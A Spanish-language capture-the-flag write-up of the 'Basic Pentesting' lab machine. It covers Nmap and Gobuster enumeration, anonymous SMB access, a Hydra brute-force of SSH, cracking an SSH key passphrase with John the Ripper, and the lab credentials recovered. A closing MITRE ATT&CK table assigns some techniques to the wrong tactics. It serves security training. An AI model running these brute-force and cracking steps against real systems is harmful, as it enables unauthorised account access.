Basic Pentesting
1. Información General
Fecha del análisis: 11 de marzo de 2025
Host Objetivo: basic.thm (10.10.30.13)
Sistema Operativo Detectado: Linux (Ubuntu 16.04.4 LTS) con Samba y Apache Tomcat
Metodología Utilizada:
Escaneo de puertos con Nmap
Enumeración de directorios con Gobuster
Acceso a comparticiones SMB
Revisión de archivos disponibles
Ataque de fuerza bruta a SSH con Hydra
Descifrado de clave privada con John the Ripper
Autenticación exitosa en el sistema objetivo
Obtención de credenciales privilegiadas
2. Descubrimiento y Enumeración
nmap -A -oN basic.txt basic.thm
Escaneo de Servicios (Nmap)
Se detectaron los siguientes servicios en el sistema objetivo:
Puerto
Estado
Servicio
Versión
22/tcp
open
SSH
OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
80/tcp
open
HTTP
Apache httpd 2.4.18 (Ubuntu)
139/tcp
open
NetBIOS-SSN
Samba smbd 3.X - 4.X (WORKGROUP)
445/tcp
open
NetBIOS-SSN
Samba smbd 4.3.11-Ubuntu (WORKGROUP)
8009/tcp
open
AJP13
Apache JServ Protocol 1.3
8080/tcp
open
HTTP Proxy
Apache Tomcat 9.0.7
Posibles vulnerabilidades:
Apache Struts 2.5.12: Indicado en archivos internos. Versiones antiguas de Struts son conocidas por vulnerabilidades de ejecución remota de código (RCE) [T1190 - Exploit Public-Facing Application].
3. Enumeración de Directorios Web (Gobuster)
gobuster dir -u http://basic.thm -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://basic.thm
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Se realizó un escaneo de directorios en el servidor web, encontrando:
Directorio
Estado
/development
301 (Redirección)
/server-status
403 (Acceso denegado)
Archivos Encontrados en /development

Se encontraron dos archivos de texto relevantes:
j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
Posible explotación:
j.txt indica que el usuario "J" tiene una contraseña débil en
/etc/shadow
y que pudo ser crackeada fácilmente. Esto sugiere que podría haber credenciales débiles en el sistema.dev.txt confirma que Apache Struts 2.5.12 está instalado y en uso, lo que representa una vulnerabilidad grave si no está actualizado.
4. Acceso a Comparticiones SMB
smbclient -L //10.10.30.13
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP BASIC2
Se encontraron las siguientes carpetas compartidas en el servidor SMB:
Recurso
Tipo
Comentario
Anonymous
Disk
Acceso sin autenticación
IPC$
IPC
Servicio de IPC Samba
El acceso anónimo a SMB representa un riesgo de seguridad, ya que permite a cualquier usuario listar y descargar archivos sin autenticación.
Archivos Recuperados
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.30.13/Anonymous -p 445 -U guest
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 13:31:20 2018
.. D 0 Thu Apr 19 13:13:06 2018
staff.txt N 173 Thu Apr 19 13:29:55 2018
14318640 blocks of size 1024. 11073416 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
Se encontró un archivo en la carpeta "Anonymous":
Archivo: staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
Posible explotación:
"Kay" parece ser un usuario con permisos administrativos que gestiona SMB.
"Jan" podría ser un usuario del sistema con archivos o credenciales mal gestionadas.
La nota sugiere que en el pasado se subieron archivos no autorizados, lo que indica la posibilidad de encontrar archivos sensibles o credenciales en esta compartición.
5. Ataque de Fuerza Bruta a SSH
Se realizó un ataque de fuerza bruta con Hydra contra el servicio SSH, resultando en credenciales válidas:
grep -E '^.{7}$' /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt > xato-7.txt
hydra -l jan -P xato-7.txt ssh://10.10.30.13 -t 4
Usuario
Contraseña Encontrada
jan
armando
Posible explotación:
El usuario "jan" tiene una contraseña débil que pudo ser descubierta mediante ataque de fuerza bruta.
Esto permite acceso al sistema vía SSH, lo que puede facilitar una escalación de privilegios o movimientos laterales dentro de la red.
6. Análisis de Archivos y Escalación de Privilegios
Se identificaron los siguientes elementos dentro del sistema tras la autenticación vía SSH:
Archivos de Interés
Contenido de /home/Kay/.ssh
/home/Kay/.ssh
Archivo
Descripción
id_rsa
Posible clave privada de Kay.
id_rsa.pub
Clave pública asociada a la privada.
authorized_keys
Define qué claves públicas pueden autenticarse en el sistema.
Errores de permisos en la clave privada
Una vez copiado la clave privada debía restringirse con:
chmod 600 id_rsa.pem
Descifrado de Clave Privada
Se utilizó John the Ripper para descifrar la clave privada con el diccionario rockyou.txt:
python3 /usr/share/john/ssh2john.py id_rsa > rsa_hash.txt
john --wordlist=rockyou.txt rsa_hash.txt
Resultado:
beeswax (Kay.pem)
Acceso con la Clave Privada Descifrada
Se utilizó la clave privada descifrada para autenticarse como el usuario kay:
ssh -i Kay.pem kay@10.10.225.117
Resultado: Se ingresó la passphrase beeswax, logrando acceso al usuario kay.
Obtención de Credenciales Finales
Dentro del directorio de kay, se encontró un archivo llamado pass.bak:
cat pass.bak
Contenido:
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
7. Análisis MITRE ATT&CK
Táctica
Técnica
Descripción
Reconocimiento
T1046 - Escaneo de Red
Se identificaron servicios con Nmap.
Acceso Inicial
T1110 - Brute Force
Fuerza bruta en SSH con Hydra.
Persistencia
T1552 - Unsecured Credentials
Credenciales débiles encontradas en j.txt
.
Escalada de Privilegios
T1078 - Valid Accounts
Uso de credenciales obtenidas para acceder como "kay".
Ejecución
T1190 - Exploit Public-Facing Application
Posible explotación de Apache Struts 2.5.12.
Última actualización